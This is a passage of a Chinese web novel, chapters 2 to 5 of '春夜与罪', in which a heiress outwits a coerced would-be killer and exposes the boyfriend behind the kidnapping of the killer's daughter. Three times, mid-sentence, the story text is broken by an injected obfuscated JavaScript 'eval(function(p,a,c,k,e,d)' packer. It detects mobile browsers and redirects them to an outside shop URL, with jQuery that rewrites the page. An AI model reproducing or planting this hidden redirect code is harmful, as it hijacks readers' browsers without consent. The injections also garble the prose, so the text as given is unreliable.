《春夜与罪》 3. Chapter 2 Chapter2 在李迈青看来,姚岚问的无疑是个蠢问题。 姚,代表大陆春城的豪门。 做投资,说明她很有钱。 可李迈青不知道的,恰恰是这句回答暴露了她的无知。 姚岚的笑意淡了几分,提醒道:“我可以满足你的任何愿望。” 她的姓氏、名字不只是金钱的代称,还能施展“魔法”? 李迈青一顿,却再一次将姚岚的暗示想浅了——切,这无非就是姚岚的垂死挣扎,她要用“满足愿望”换自己一命。 不,什么愿望都不换,李迈青脑海中一闪而过的是女儿可爱稚嫩的脸。 然而即便这样坚定,李迈青还是忍不住好奇:“任何愿望……我想要什么都行?” “什么都行。”姚岚微笑道,“不过要得多,代价也会叠加,最终可能是无底洞。” 这很公平,不过大多数人支付不起。人性的贪婪和侥幸,总是希望少量付出甚至是不付出,换取巨额回报。 李迈青又问:“那你想用多少个愿望来换你的命?” 与此同时李迈青在心里说:不管多少个,你今天都死定了。 姚岚垂下眼皮轻笑一声,没有回答。 李迈青看不懂那层笑意,只品出来一丝嘲弄。 就在这时,姚岚环顾四周,漫不经心地来了一句:“这栋房子的设计师是我从大陆带过来的,大体上算符合我的喜好。” 这话落地,姚岚再次拿起遥控器,先按掉电视,又按了旁边一个钮,随即从落地窗上沿落下来一层帘幕,将阴沉憋闷的天彻底隔绝在外,而与此同时客厅的四周也相继亮起几盏灯。 这样的氛围一点都不像是杀人现场。 “接下来的对话,你可以录下来。”姚岚又一次开口。 李迈青的坐位更高,按理说更占据“居高临下”的优势,然而截至目前所有对话的主导权似乎都掌握在姚岚手里。 李迈青并不觉得不爽,她知道这些有钱人干什么都自带“强势”,学不会低头求饶,她也很看看姚岚能笑到什么时候。 李迈青从兜里拿出一直随身携带的录音笔,按了两下开始录音。 蓝牙耳机也在此时响起杨雄的声音:“别被她带节奏,她只是在拖延时间。” 李迈青没有理会,一直打量着姚岚。 精致、优雅、精明、柔弱,这些矛盾的形容词汇聚在这个女人身上,既违和又融洽。 姚岚双手环胸,露出来中指上的细圈戒指,上面只镶嵌了几颗碎钻,看上去不太起眼,可这是她身上唯一的首饰。 感受到李迈青的审视,姚岚问:“我的模样符合你的想象吗?” 是对姚岚这个人,还是对于“富家千金”的想象呢? 无论是哪一种,李迈青的答案都是一样的:“你和我以为的那种人一样。” 姚岚挑了下眉。 李迈青转而拿出自己的手机,点开先前给杨雄听过的录音又放了一遍,而姚岚的表情从头到尾都没有变化。 “你这么有钱,想要谁的命肯定不需要自己动手,就算被威胁,也有办法择得一干二净。”李迈青一边观察着姚岚一边说,“但是换个角度想,你都这么有钱了,有什么麻烦不能用钱摆平的,犯得上杀人吗?” 听到这样一段录音,又听到李迈青口中两种截然相反的结论,正常人都会感到诧异,并为自己辩解几句,哪怕是一句无力的“这录音是假的”或是质问她“谁给你的”。 “有时候杀人,可能是为了自保。”隔了几秒,姚岚这样说道。 “你承认了。”李迈青说,“什么自保,都是借口。” 姚岚漾出一抹笑,语气也很轻松:“就好比说,假设这栋房子只能有一个人活着出去,那么我为了活,就必须杀了你。而且你是擅闯民宅,我不用负法律责任。” 李迈青不屑地哼了一声:“你能干得过我?” 姚岚缓慢摇头,看似温和的目光一直盯着李迈青,忽而话锋一转:“五年前我在巴西遭到过一次绑架,他们的表面诉求是要钱,实则是奔着要命来的。不管我给不给钱,给多少钱,都得死。” 这听上去就和姚岚现在的处境一样,李迈青问:“那后来你是怎么逃出来的?” “我没有逃,也逃不掉。”姚岚说,“我是在有人准备动手的时候,才知道他们的真正打算。不过就在那时候,关我的仓库发生了爆炸,所有绑匪都死了,我也被炸成重伤。” 李迈青不屑地笑了:“你这皮光肉滑的,可不像是经历过爆炸。” “你信不信就算再严重的伤,这具身体一样能恢复如初?” 真扯。 这已经超出了李迈青对于医学的认知——她没有高学历,认知也受到阶层局限,自然无法想象有钱人的生活和他们享受的医疗科技究竟到什么程度,然而姚岚的描述也太天方夜谭了。 “你说的该不会是什么提取细胞修复之类的科技吧?” “其实很简单,炸伤了就换一块完整的皮肤,里面哪个零件坏了,就匹配一个新的。” 李迈青笑不出来了,她一直生活在东南亚,当然知道姚岚指的是什么,甚至于她的生活里也曾发生过。 高高在上,视他人生命为草菅——这实在符合李迈青对于姚岚先入为主的认知。 李迈青的妹妹已经失踪三年了,存活几率几乎为零。尽管不愿,李迈青却不得不接受现实。 可这并不代表她不恨。 事实上刚踏进门口时,李迈青还有些紧张、犹豫,现在却多了几分坚定,还多了一点杀心。 这个世界真是太不公平了。 “你是在炫耀。”李迈青沉下脸说,除了这个她想不出其他理由。 姚岚却道:“就算今天你杀了我,明天依然会有一个‘姚家人’出现。那个人甚至也可以叫‘姚岚’。姚不只是一个姓氏,更是一个符号。在麦城的投资只是整块版图的起点,以这里为中点,姚家还要相继入驻周围的五个城市。这件事不会因为任何人的意志为转移,哪怕是我。” 李迈青的嘴唇动了动,直到这一刻才好像终于明白了一点东西,可她却不知道该说什么。 姚岚的双腿叠在一起,慢条斯理道:“也就是说,不管你们闯入这里的目的是为了杀人、绑架还是敲诈,委托你们的人,他的目的一定无法达成。” “她是在诈你。”蓝牙耳机里杨雄提醒道。 可这句话根本入不了李迈青的耳。 李迈青当然想过,逼迫她来干这票的人无非就是两个目的,一个是要姚家企业的项目停摆,另一个则是别脏了自己的手。 可到了这一刻,她满脑子都在想:如果杀了姚岚,明天真的又出来另一个呢?管她是姚岚还是姚澜,只要能继续让项目运转,谁在乎她是谁?那样是不是意味着,不管她杀多少姓姚的,她的女儿都回不来了? 本来对这一切就没想清楚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502876|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李迈青,一瞬间陷入了自我怀疑和无措。 就在这个时候,姚岚从沙发上起身。 李迈青没有拦,她的注意力早就不在姚岚身上。 姚岚到吧台倒了一杯水,一边喝一边看着这边。 直到李迈青抬起头,隔着昏暗的半个屋子,对上姚岚的视线。 姚岚拿着水杯踱步回来,边走边说:“试图绑架我的,我知道的就有十三波,你们两个是我见过准备最不充分的。尤其是你,连自己该做什么都不确定。” 这又是一个令李迈青感到意外的点,她想不到姚岚对于绑匪已经到了“见多识广”的程度。 杨雄的声音再次出现:“沉住气,他们这些有钱人比谁都怕死。她只是想动摇你。” 李迈青若有所思地点头,算是对杨雄的认同,说话的对象却是姚岚:“你说的就好像你不怕死一样。还有你刚才说的那些,只有杀了你才知道是不是真的。” 姚岚笑了笑,忽然切到另一个话题:“你是拿钱办事,还是有把柄在对方手里,不得不来?” 李迈青从茶几上站起来:“关你什么事。” 姚岚回答:“哦,是后者。” “……” 她是怎么猜到的? “会是什么样的把柄呢。”姚岚绕着沙发区缓慢地散步,像是自说自话,“以我的经验,要一个人的命,不是为了钱,就是为了换另一个人的命。如果是钱,我一定比对方多,十倍价格让你告诉我他的名字,应该够了……” 说话间,姚岚扫了李迈青一眼。 李迈青一直站在原地,身体没有大动,目光却一直追着姚岚。 和之前一样,她看不懂姚岚的眼神,却不喜欢这种被评估被读心的感觉,好像自己什么遮挡都没有。 只听姚岚落下结论:“原来是为了救人。” 李迈青一手捏着录音笔,另一手则在身侧攥紧。 “救”这个字似乎缓解了她的一点窘迫。这个字很伟大,听上去只会出现在“好人”身上,也能为即将犯下的罪刑找个借口。 “父母、丈夫,还是孩子?”姚岚不知何时已经来到李迈青三步远的地方,声音很轻。 李迈青的脸上出现一瞬间细微表情,睫毛也轻轻眨了一下。 姚岚的声音再次靠近:“男孩儿还是女孩儿?” 深吸一口气,李迈青抿了抿嘴唇,终于开口:“是我女儿。” “为母则刚,我很佩服。”姚岚没有笑,声音比刚才更实。 也是这一刻,李迈青终于看清了她眼睛里的东西,也从这种眼神中得到了一丝肯定。 很荒谬,也很意外。 李迈青竟然得到了一点安慰。 可这样的感觉并不能改变李迈青的决心,现在一切都说开了,她反而没那么紧张了:“你刚才说的什么爆炸,什么零件,都是框我的。你只是想探我的底牌。” 姚岚微微一笑,没有否认:“你信不信我从你给出的信息得出的东西,远比你自己知道的还要多?” 李迈青快速想了一圈,没有反驳,她也很想知道姚岚还解读出什么:“比如?” 姚岚再次迈开步子,优雅而从容,笃定的声音就如同她的走路姿态一样:“比如,你女儿失踪得太过突然,你的心乱了,即便来之前曾经冒出过疑问,也无暇、无力去深究。那就是,你既不是专业的,也不够狠,对方要的更不是一个普通人的命。这么重要的事儿怎么会让你来做呢?” 4. Chapter 3 Chapter3 是啊,有那么多手段凶残的亡命之徒,那个人怎么就挑中了她? 然而李迈青还来不及深思,就听姚岚问:“你是做什么的?” 李迈青回道:“私家侦探。” “哦,一般都接什么样的案子?” “婚外情居多。” “那你和那些被你调查的人,会有直接接触吗?” “几乎没有。” “你女儿多大了?” “四岁。” “有她的照片吗?” 李迈青沉默了一瞬,再次对上姚岚的目光。 这一连串看似没有关联的问题,李迈青回答时没有一丝防备。 随即她从兜里拿出一个薄款折叠钱夹,一打开就露出她和女儿的合照。 姚岚朝她靠近一步,定定看了一眼,又收回目光:“这么可爱,又这么小,不该遭遇这些。” 李迈青绷紧了下巴,将钱夹收回去,呼吸有些闷,也比刚才急促了些:“她很乖,也很懂事。” 姚岚折回到沙发前坐下,歪着头打量李迈青:“你要救女儿的心情很急迫,你本可以一闯进来就杀了我。为什么要等?” 李迈青吸了口气,又一次坐在茶几上,却没说话。 可即便她不说,姚岚也猜得到,她笑了笑,没有直接问“你想从我这里得到什么”,而是:“我有什么可以帮你的?” “你……”到了这一刻,李迈青已经逐渐认识到眼前这个女人的不简单,虽然还没有真正见识过她的实力,李迈青却没由来的相信她。 或者说,这是一种人因绝望而生出的希望。 “你能救我女儿吗?”李迈青终于问出口。 姚岚反问:“我的回答你会信吗?” 李迈青答不上来。 选择信,那么下一步她要怎么做?离开这里回家枯等? 这不可能。 要是选择不信,难道还真的杀了姚岚?那样对方就真的会放过她女儿吗? 问题僵在这里,李迈青也陷入两难。 就这样沉默着,气氛也跟着凝固起来,杨雄的声音全都被李迈青隔绝在思绪之外。 李迈青脑子里轰轰的,此时的她很需要一点外力支撑,用来维持那摇摇欲坠的安全感。 她的手下意识摸向上衣口袋,里面装着一支“笔”,打开笔帽却不是笔尖,而是注射器,里面是毒药。 她攥着那支笔,脑子里有两道声音正在打架。 直到姚岚忽然开口,将李迈青的意识从混沌中拉了出来:“我人生中第一次遭遇绑架的时候,和你的女儿一样大。” 李迈青先是愣了愣,恍过神问:“那你是怎么出来的?” 姚岚回道:“给了赎金以后绑匪闹内讧,两死一伤。家人将我带了回来。” 李迈青的心情忽上忽下,忍不住想到自己的女儿,不知道她会不会也有这样的运气。 “你和我们不同,你家里应该将你保护得很好,为什么还会被绑架?”李迈青又问。 这不只是问姚岚,也是她心里的疑惑:为什么是她,为什么是她女儿? “熟人作案。”姚岚平静道。 这四个字就如同一双手,瞬间捏紧了李迈青的心脏,脑海中快速掠过几个人。 然而姚岚下一句话,又再一次转移了李迈青的注意力:“但我不是唯一被绑架的小孩。当时和我一起的还有另外三个,一个男孩两个女孩。” 这完全超出了李迈青的想象:“他们也都是有钱人家的孩子?” 这太不合常理了,什么样的熟人有这种“资源”,能同时绑架四个富家子女?难道是老师? 李迈青继续追问:“那他们也都平安吗?” 李迈青的表情看上去有些担忧,可事实上她并不希望听到同样的答案。如果都平安,就等于侧面说明了有钱人的小孩才有资格从险境中脱身,因为有钱所以生存几率更高。 姚岚缓慢摇了下头:“那两个女孩都死了。” 然而听到这样的答案,李迈青又皱了皱眉,心中生出一丝怜悯。 “那天,我亲眼看到她们的尸体。”姚岚的声音很轻,“外面同样下着雨,其中一个就躺在水坑里,脸埋在泥里,手脚都向后折,一动不动。” 李迈青攥紧了拳头,脑海中也相继浮现出一副她想象出来的画面,甚至还想到或许埋在泥里的那张小脸是…… “后来,我家里人终于查到幕后主使,又是谁将我们的行踪出卖给绑匪。但他们没有告诉我名字,只是由姑姑问我,不管那个人是谁,如果抓到他,我想怎么办?” 姚岚微笑着讲述着后续,轻松和煦的声音响在过分安静的屋子里:“我说,杀了他。” 李迈青暗暗吸了口气,点头道:“是该死。” 随即她又道:“你是想告诉我,我不杀了你,你就会杀了我。” 姚岚没有直接回答,而是说:“你知道你和那些绑匪最大的不同是什么吗?” 李迈青不知道,只是盯着姚岚。 姚岚接着说:“是你既不够心狠,也不够心软。如果是前者,你早就动手了。除了杀人,你还会将这栋房子里所有值钱的东西都拿走;而如果是后者,你会去寻求警方的帮助,因为你知道不管自己遭遇如何,都不该波及我这个无辜的人。” 李迈青的呼吸逐渐加快,她知道自己必须尽快做出决定,要么走出门口,要么拿出那支装了毒药的“笔”。 “你想不想知道是谁抓了你女儿?”姚岚再次抛出问题。 难道她知道? 李迈青正要问,距离五、六米的墙壁那边却发出“咚”的一声。 那声音很闷,却很清晰,特别在这种紧绷氛围的衬托下。 李迈青的神经瞬间立了起来,她下意识看向声音来源,却什么都没看到。 那边只是一堵墙,连个家具或是装饰品都没有。 可李迈青确定自己没有听错:“那是什么?” 她又看向姚岚。 姚岚再次拿起用来控制窗帘的遥控器,按了一下。 先是响起细微的转动声,随即那面做了装饰花纹的墙壁便开始转动,露出里面的暗格。 又是一声闷响,有东西从暗格里滑了出来,倒在地上。 李迈青倏地站起身,叫声却卡在喉咙里,只是震惊地盯着那团被捆绑住的“东西”,和自他身上渗出来的一滩血迹。 下一秒,她就将那支“笔”拿了出来,却没有亮给姚岚看,只是攥在手里,借由身体作掩护小心藏在身后,同时后退两步盯着姚岚。 如果说之前李迈青还认定姚岚手无缚鸡之力,这会儿已经彻底改观。 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502877|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人太过危险,她不敢赌,更不敢轻敌。 “他是谁?”李迈青的声音细微颤抖着。 “出了什么事?!”杨雄在耳机另一头听出了不对,急切地问。 而姚岚依然淡定:“上一个要杀我的人。” 所以是姚岚反制了这个男人,还是…… “这屋里还有别人?”李迈青用余光打量四周,只觉得汗毛一根根竖了起来,这句话也是在给户外的杨雄信号。 可如果还有其他人,为什么一直不出现? “等我,我这就过来!”杨雄在另一头叫道,同时传来急促的脚步声和风雨声。 李迈青没有回应杨雄,只是盯着姚岚。 姚岚摇头:“只有我和你。” 李迈青又问:“你为什么要留着尸体?” “他还活着。”姚岚微笑道。 李迈青小心翼翼地往后退,同时观察着姚岚的表情,以及她放在遥控器上的那只手。 直到李迈青退到倒在地上的男人身边,蹲下身侧头看过去,血是从男人嘴里渗出来的,但并不多,而且男人身上还有缓慢的呼吸起伏。 “其实我今天约了人,不过这种天气也不知道还能不能来。”姚岚说,“我想让客人见到这些总归不太好,所以在来人清理之前,只能先这样放着。” 李迈青抓住了她话里的重点:“也就是说今天要来两拨人?” “靠!”耳机里不仅传来杨雄的骂声,还响起“咚咚咚”地碰撞声,接着杨雄便喊道:“门打不开!这里什么时候多了钢板?!” 什么钢板? 李迈青听到这样的消息更紧张了,可她没有看向“声源”,事实上她根本不知道此时杨雄正在哪个方位。 也是直到这一刻,李迈青才注意到这栋房子的诡异之处:姚岚分明只是将窗帘放下,窗帘外还有落地窗,而外面的风雨那么大,声音却一丝都没有透进来。 她之前一直没有注意到这一点,不只是因为和姚岚的对话内容,也是因为耳机里持续出现的环境音令她产生了错觉。 李迈青快速跑向落地窗的方向,一把扯开窗帘,人却傻了。 落地窗外不知何时落下一层钢板,不仅阻断了风雨,还隔绝了外界的一切。 “放我出去!”此时的李迈青再也顾不得其他,不要说杀人了,她自己的生命都受到威胁,她只想逃。 “冷静,深呼吸。”姚岚第二次从沙发上起身,却没有拿遥控器。 耳机里出现一波又一波的杂音,雨声断断续续,而杨雄的声音早就听不见了。 眼见姚岚走向吧台,背对着这边按了几下咖啡机,咖啡机响起“滋滋”声,很快就有浓郁香醇的黑色液体流到杯子里。 李迈青则飞快地冲向沙发,拿起遥控器对着四周按了起来。 各种灯亮起来,电视也开了,音响开了又关,窗帘再次升了上去,唯独是那些钢板纹丝不动。 “没用的。”姚岚端起咖啡杯,吹掉浮头的热气,转身说,“保全系统只有我才能解除。你朋友也救不了你。” 李迈青说不出话,只是死死瞪着姚岚,眼神里凝聚着恐惧。 就是这一刻,耳机里的杂音消失了,静得不可思议。 姚岚一手端着咖啡杯,后腰靠着吧台,目光却扫向不远处的落地钟,说:“哦,他应该也躺下了。” 5. Chapter 4 Chapter4 李迈青真是一句话都说不出来,连攥着毒笔的掌心都浸满了汗。 到这一刻她才明白经历多次绑架的姚岚到底是个什么属性,那些经验可不是白来的。 还有那句“这栋房子的设计师是我从大陆带过来的,大体上算符合我的喜好”——不,不是符合喜好,而是符合“需求”! 姚岚的每一句话都在提醒、警告,可李迈青根本没有深思,也想不到这么多后续。 这会儿的李迈青心里不只绝望,还有无穷无尽地后悔,如果早知道姚岚是这样的狠角色,她绝对不会来! 怎么办,现在该怎么办?刚才那杯水…… 李迈青惊恐且充满警惕的目光下意识落在自己用过的杯子上,但很快就打消了念头。 不,水应该没毒,杯子是她拿的,水也是她倒的,而且后来姚岚也喝了同一个容器里的水,再说要是有毒她早该倒下了。 这世界上最恐惧的东西就是对未知的想象,而此刻的李迈青就处于这种心情,她努力让自己冷静下来并告诫自己,既然之前都没有中招,那么接下来一定要和姚岚保持住距离,还有不能再让姚岚触碰到那个遥控器。 想到这里,李迈青将遥控器扔到身后屋子最远的角落,“啪啦”一声声音清脆。 “你打算怎么对付我们?”李迈青稳着声线,问出这样一句。 姚岚喝了口咖啡,将问题抛回去:“你希望我怎么做?” “求你……放了我们。”李迈青的语气无比地虚,她也知道这不可能。 而她刚吐出这句话,脑海中瞬间闪现出姚岚之前说过的另一句:“什么都行。不过要得多,代价也会叠加,最终可能是无底洞。” 于是,李迈青又快速补充道:“你想要我们付出什么代价?” 姚岚将杯子放在一边,依然靠着吧台:“真是没有自知之明。” 什么意思? 李迈青品不出来。 只听姚岚说:“你连自保和保护女儿的能力都没有,跟我谈条件却还想捎带着另外一个人。” “可他是我叫来的……”李迈青试图解释,就好像这样说,她就对杨雄的生命安全有责任一样。 “他可以选择不来啊。既然来了,就该为自己的选择承担后果。” 李迈青一时接不上话,也没有再为这件事做更多描述,她垂下眼仔细想了想,同时权衡利弊。 不到十秒钟,李迈青再度开口:“那如果我希望你放了我们之中的一个,我需要付什么代价?” “为什么不只为自己求情?”姚岚终于离开吧台,朝李迈青的方向走了几步。 光影在她身上变幻着,从走出阴影,来到灯光之下,又因为灯光是从头顶洒下,令她的面容上出现一片阴影,看上去神秘莫测。 李迈青咽了下口水,不敢松懈:“他帮过我很多次,还救过我的命。” “原来是你的恩人,我还以为你们俩是一对儿。” “也算是……” 姚岚笑了笑,似乎一点都不意外:“既然如此,那如果我说你们俩只有一个人可以活着离开,代价就是另一个人要死在对方面前,你会选择将生的机会让给他吗?” 李迈青答不上来,也不敢答。 她还要救女儿,虽说眼下的情况连自保都成问题,更不要说用杀人来换回女儿了。可如果就这样死在这里,她一定不甘心。 李迈青的身体开始颤抖,她往后退了两步,一屁股坐了下去。 不知过了多久,李迈青才终于找回自己的声音,仰头对上姚岚居高临下的目光:“我想用我的命来换我女儿,可以吗?我可以自杀,只要你能把她救出来!” 与此同时,她将一直攥在手里的毒笔拿了起来,并拔掉笔帽,用笔尖对着自己的脖颈。 回应她的却是姚岚的一声轻笑:“你可真贪心。” 怎么? 姚岚说:“你刚才说要我放过你们其中一个,又说自己愿意自杀,这就说明你已经将机会让给了那个男人了。可现在你又要我救你女儿,用一条命换两个愿望。这种算法,和你原本的打算一样,不仅要杀我,还想从我嘴里套出一条让你们吃穿不愁的消息。不是贪心是什么?” 原来她都听到了?! “我……”李迈青刚吐出一个字,就又被姚岚打断。 “你难道不想知道他是否还活着吗?”姚岚伸出一手,“我的手机。” 李迈青一顿,遂快速从兜里掏出姚岚的手机。 姚岚抽走手机,开了机,回到沙发上按了几下,完全不理会一直坐在地上的李迈青。 直到姚岚对着手机问出两个字:“人呢?” 李迈青看过去,姚岚正好将手机屏幕转过来对着她,令李迈青看到视频。 杨雄倒在地上,早已被五花大绑,在地上不断扭动。 李迈青呼吸一窒,只听姚岚说:“我耐心有限,你最好不要再讨价还价。” 李迈青后背的衣服已经湿透了。 她当然知道女儿的命更重要,却又做不出舍弃杨雄的决定。 就像姚岚先前的判断一样,她既不够心狠,也不够心软,但凡她能靠一头,都不至于陷入现在的窘境。 “你爱他吗?”姚岚忽然问。 李迈青对上她侧头望来充满探究且好奇的眼神,点头:“爱。” “爱到愿意为他死?” 原本盘踞在李迈青额头上的冷汗淌了下来,连她的眼睛都湿润了:“这是我欠他的。” 姚岚却笑了:“为什么不直接回答问题?” 其实只要一个字“是”,就够了。 显然李迈青根本做不到舍己为他,为杨雄的牺牲并非义无反顾,却又碍于性格的里的不上不下和道德束缚,以及过去“他救过她”的这层枷锁,令她不得不这样选。 而这一次姚岚不再提李迈青的女儿,继续问:“那他也爱你吗?爱到愿意为了你放弃求生?” 李迈青回答不上来。 “不如听听他怎么说。”姚岚替她做了决定,并将手机的音量点到最大,令李迈青可以清楚地听到。 先是胶带撕开的声音,随即是杨雄因为剧烈挣扎而发出的喘气声。 “你都听到了。你活,还是她活?”姚岚问。 喘息声持续了几秒钟,杨雄沙哑的声音才透过屏幕传了出来:“我……只是来帮忙的……” 虽不是直接回答,却已经说明一切。 李迈青茫然地眨了下酸涩的眼睛,身体逐渐脱力。 眼泪流了下来,可即便到了这一刻,她依然没有说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508357|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚岚看向李迈青:“看来你们的选择达成共识了。你恨他吗?” 李迈青摇头:“人都是自私的,而且我欠他一条命。” “这我就不懂了,既然他能救你一次,为什么不能救第二次?”姚岚问,“你愿意讲讲‘救命之恩’的故事吗?” 李迈青眼睛发直地盯着地面,一时间也不知道是在与姚岚分享,还是在试图说服自己:“一个月前,我跟拍了一个不该碰的人,还拍到一些东西。对方想要把丑闻压下去,我也开了价。可是在交易当日,我被人从背后袭击,不仅没有拿到钱,底片也被拿走了,那个人还想杀我。如果不是杨雄及时赶到,我连怎么死的都不知道,他也因此挨了一刀……” 李迈青的声音越来越抖:“我以为对方的目的已经达到,事情就该过去了,可我还是不放心,就将女儿送到乡下去。” “你觉得是你女儿的失踪,是那个人的打击报复?” 李迈青闭上眼点了点头,眼泪落在腿上。 姚岚却问:“你难道不觉得不合理吗,报复你需要绕这么大圈子吗?而且还是在事发一个月之后。让你来杀我,成功率有多低难道那个人不知道吗,该不会是想借我的手除掉你吧?” 这话就差直接点破了:你有这种价值吗? 李迈青渐渐止住了哭,再次看向姚岚,也终于后知后觉到这里面的违和之处。 正如姚岚所说,她能读出比李迈青所知更多的东西,而李迈青也彻底相信了姚岚的判断。 “你男朋友很勇敢,既为你挡刀子,还陪你一起来杀我。为什么不干脆将杀人的活儿接过去?你说要从我嘴里套消息,他比你还要着急,巴不得快点动手……呵,如果我是那个委托人,一定是希望这件事成功,那么我会找一个更适合也更稳妥的人,显然你男朋友比你更合适。” 她在说什么? 李迈青茫然的目光中闪烁着不确定和一丝惶恐,好像有什么东西被戳破了,而她还在抵抗。 就在李迈青消化的同时,姚岚在手机上点了几下,对面的电视机开了,很快出现杨雄被捆绑在地的画面。 姚岚的语气非常轻:“底片是你拿走的吧?” 李迈青的眼睛倏地睁大,瞳孔晃动着。 “不是我!不要听她的,她在给你洗脑!”杨雄叫道,身体扭曲得越发厉害。 李迈青张了张嘴,虽然没说话,心里却在想,这样做对姚岚有什么好处? 姚岚笑问:“我为什么要这么做呢?” “你……你想我们自相残杀!你这种人,就喜欢拿我们底层人取乐。” 这就更荒谬了。 李迈青依然不说话,目光虽然盯着电视屏幕,脑海中却回荡着一个月前的细碎片段。 杨雄知道她和对方的交易地点和时间;在那之前杨雄欠了一大笔债,有段时间焦头烂额,她也给过他几次钱,却是杯水车薪;可是这一个月来,杨雄却不再提债务的事,不再向她借钱,就连气色也渐渐变了,哪儿还有是被债务缠身的倒霉样儿? 如果说底片真是他拿走的,还和对方交易,还了债呢?那对方应该没有理由再对她打击报复了啊! 那么又是谁带走…… 李迈青混乱的思绪刚走到这里,就被姚岚的声音拉回现实。 “她女儿还活着吗?” 6. Chapter 5 Chapter5 此言一出,不只是思路总慢一拍的李迈青愣住了,就连一直忙着挣扎的杨雄也停了下来。 “她是在污蔑我!”杨雄又一次喊道,“不要相信她!” 姚岚挪开视线,看向李迈青,语气温和:“你女儿跟你撒过谎吗?” 李迈青僵硬地转过头。 姚岚又问:“她又没有被人冤枉过,当时是什么样的反应?” 李迈青很快就想到有一次女儿被同龄的小朋友指责偷东西,她不仅震惊而且很愤怒,还非常响亮地喊出三个字:“我没有!不是我!” 不用过多解释,李迈青瞬间理解了姚岚的指向。 被冤枉的人,第一反应往往都是为自己辩解,而不是站在“我”的立场指出他对“我”做了什么。 杨雄的否认太反常理,反而更像是…… 然而即便是这样,李迈青心里依然在摇摆,因为就目前为止都没有证据。 姚岚没有将时间浪费在等李迈青接受现实上,而是话锋一转,对杨雄说:“既然今天你们只有一个人可以活着离开,她是否相信我的话,对你来说应该不重要。现在我就告诉你,让你离开的条件就是讲出实情——是谁指使的你。说出他的名字,你不只能活,还可以得到报酬。” 几秒的安静,杨雄发出虚弱的声音:“没有人指使我,我什么都没做。” 他的语气一点都不坚定,像是在自言自语。 李迈青想的却是,据生活在乡下的母亲所述事发那天的细节,她女儿原本在外面玩,等母亲去找时,却到处都找不到踪影,只有一组汽车的轮胎印。 如果是陌生人将女儿带走,为什么女儿不叫,为什么那么顺从?在那件事发生之后她就反复叮嘱过,要是看到陌生人或是陌生的车辆靠近,一定要转头就跑——她们还经过多次练习。 除非,是熟人。 想到这里,“熟人作案”这四个字曾从姚岚口中吐出的四个字,在这一刻变得颇为讽刺。 不知过了多久,李迈青终于有了动作,目标精准地爬向姚岚的方向。 姚岚则将自己的手机面向她。 隔着一点距离,李迈青抖着声音开口:“你没有伤害她,对吧?” “不是我,不是我!”杨雄愣了一下,叫道。 李迈青继续说:“只要真真……她没事,我可以死。求你,把她送到……不,是求你找到她,把她送到我妈那里……” 哭声再也压抑不住,眼泪也奔涌而下。 李迈青一手捂着嘴,声音断断续续。 杨雄不再接话,只是躺在地上,双眼空洞地看向上方。 姚岚依然维持着双手环胸的姿势,手指在手臂上轻轻敲着,目光平视着对面电视,却又像是透过电视看向远方。 李迈青的哭声持续着,她一遍又一遍说着恳求的话和交换条件,只希望换来杨雄的一句回应。 直到最后,李迈青努力压抑的情绪终于崩溃,她嘶吼着质问:“为什么,为什么你要这么做,她只有五岁啊!” 李迈青哭得肝肠寸断,连杨雄的解释也淹没了。 姚岚始终没有作声,等李迈青的哭声越来越小,直至没了力气,她才开口:“以你对他的了解,他会将孩子藏在哪里?这个地点,是暂时性的。” 听到这话,李迈青的哭声停了,她抹了把脸,命令自己快速冷静下来,哽咽着说:“也许,可能是……朝华公寓?” 姚岚挑了下眉:“依据。” “直觉。”李迈青吐出这两个字,又立刻解释,“哦,有个叫阿芸的女人住在那里,我曾经怀疑他们俩有事儿,但他向我发誓、保证,我才没有继续追究……” 因为选择信任,李迈青才没有跟踪调查,也可以说这是另一种逃避。 而女儿真真的下落到底是否和阿芸有关,李迈青并没有把握,却不知道为什么,在刚才那个瞬间脑海中只蹦出来这个地点和那个女人。 姚岚听完李迈青描述,便对手机另一头说:“你都听到了。” 杨雄身边不知何时出现了一个男人,他蹲下来,只露出两条腿和半个身体:“我这就叫人过去。” 李迈青看向姚岚,姚岚吸了口气,沉吟了一声说:“我倒是觉得,在实在没有办法的时候,相信自己的直觉反而更靠谱。” “你……谢谢你帮我。”李迈青说。 见姚岚笑了下,李迈青又改口:“只要找到真真,我愿意做任何事。” 姚岚却说:“想不想听听我的看法?” 李迈青不知道她指的是什么,只是点头。 姚岚说:“你这个男朋友胆子不小,但脑子跟不上,算计很多,却又不够深谋远虑。他明显将你看轻了,而且很自信可以拿捏你。所以出于侥幸心理,他应该不会将你女儿藏得很深。其实只要他防住你就好了,只要你不怀疑他,哪怕你女儿就藏在你家隔壁,你也找不到。” 